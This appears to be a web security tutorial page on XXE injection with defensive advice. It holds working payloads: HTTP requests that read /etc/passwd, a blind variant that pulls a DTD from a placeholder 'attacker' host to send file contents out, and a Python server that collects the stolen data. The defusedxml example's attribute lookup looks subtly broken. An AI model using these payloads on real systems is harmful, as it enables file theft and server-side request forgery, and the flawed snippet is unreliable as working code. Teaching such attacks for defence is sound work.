XML external entity (XXE) injection
XXE inserts external XML entities to read server files or trigger requests to internal addresses.
Material
An XXE flaw appears when the server-side XML parser processes a document that contains external entity definitions. The attacker injects a reference to a resource outside the document, a local file or an internal URL, which the parser then resolves on the application's behalf.
How it works
Every modern XML parser supports two kinds of entities. Internal entities are written inline inside a DOCTYPE declaration, while external entities point to a location outside the document, for example through the file:// or http:// URI schemes.
The classic payload defines an entity pointing at a filesystem path, then references that entity inside an XML element. The value the parser returns is inserted into the response, so the file contents become readable by the attacker.
POST /api/product HTTP/1.1
Host: target.website
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stock [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stock>
<product id="1">&xxe;</product>
</stock>If the response carries no entity result, the flaw is a blind XXE: the parser still reads the entity, it is simply not displayed. The variant sends the file contents to the attacker's server through a parameter entity that pulls in an attacker-controlled external DTD.
POST /api/product HTTP/1.1
Host: target.website
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stock [
<!ENTITY % xxe SYSTEM "http://attacker:8080/evil.dtd">
%xxe;
]>
<stock><product id="1">1</product></stock># server di mesin penyerang: menyajikan DTD dan menampung data curian
from http.server import BaseHTTPRequestHandler, HTTPServer
DTD = b"""<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker:8080/?d=%file;'>">
%eval; %exfil;"""
class H(BaseHTTPRequestHandler):
def do_GET(self):
open("loot.txt", "a").write(self.path)
self.send_response(200); self.end_headers()
def do_POST(self):
self.send_response(200)
self.send_header("Content-Type", "text/xml"); self.end_headers()
self.wfile.write(DTD)Attack forms
- File retrieval: the entity points at application configuration, API keys, or credential files readable by the server process.
- SSRF: the entity points at an internal address such as a cloud metadata endpoint or an admin panel, so the server issues a request on the application's behalf.
- Blind exfiltration: file contents leave the host through a parameter entity and an attacker-controlled external DTD without ever appearing in the response.
- Data injection: when the application merges several sources, an entity can splice server contents into the data returned to the user.
- Hidden vectors: image, SVG, Office document, or XML uploads processed in the background are equally valid entry points.
Prevention
- Disable external entity resolution in the parser library: turn off DOCTYPE declarations, external general entities, and parameter entities.
- Use a library that is safe by default, such as defusedxml in Python, and stop relying on the permissive defaults of legacy libraries.
- Validate the format before parsing: if the endpoint expects JSON, reject any payload carrying a DOCTYPE or ENTITY marker.
- Run the parsing process without filesystem access and without outbound network connectivity.
- Audit XML parsing points, not just web endpoints, because configuration conversion and feed readers are often missed by manual testing.
from defusedxml import ElementTree as ET
def parse_product(body: bytes):
# entitas eksternal dan DTD otomatis ditolak oleh defusedxml
root = ET.fromstring(body)
return {"id": root.findtext("product/@id"), "name": root.findtext("product/name")}Test every endpoint that accepts XML, including upload endpoints and endpoints reachable only through internal clients. Markup payloads are easy to disguise as an image file or a document.
Labs in this topic
Labs run on a domain separate from this site, so a payload cannot reach your account session.
Labs for this category land in Phase 2. The material is readable now.
Challenges in this category
Challenges from the PortSwigger Web Security Academy. The original labs run on PortSwigger domains, so the link opens there.